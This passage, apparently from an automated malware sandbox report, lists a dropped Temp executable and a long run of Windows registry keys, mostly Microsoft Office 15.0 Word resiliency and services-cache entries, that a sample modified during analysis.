    "C:\\Users\\user\\AppData\\Local\\Temp\\101513.exe",
    "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.1296.17574515",
    "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.1296.17574515",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.1296.17574515"
]

[*] Modified Registry Keys: [
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\'w8",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10D7D73",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10D7D73\\10D7D73",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
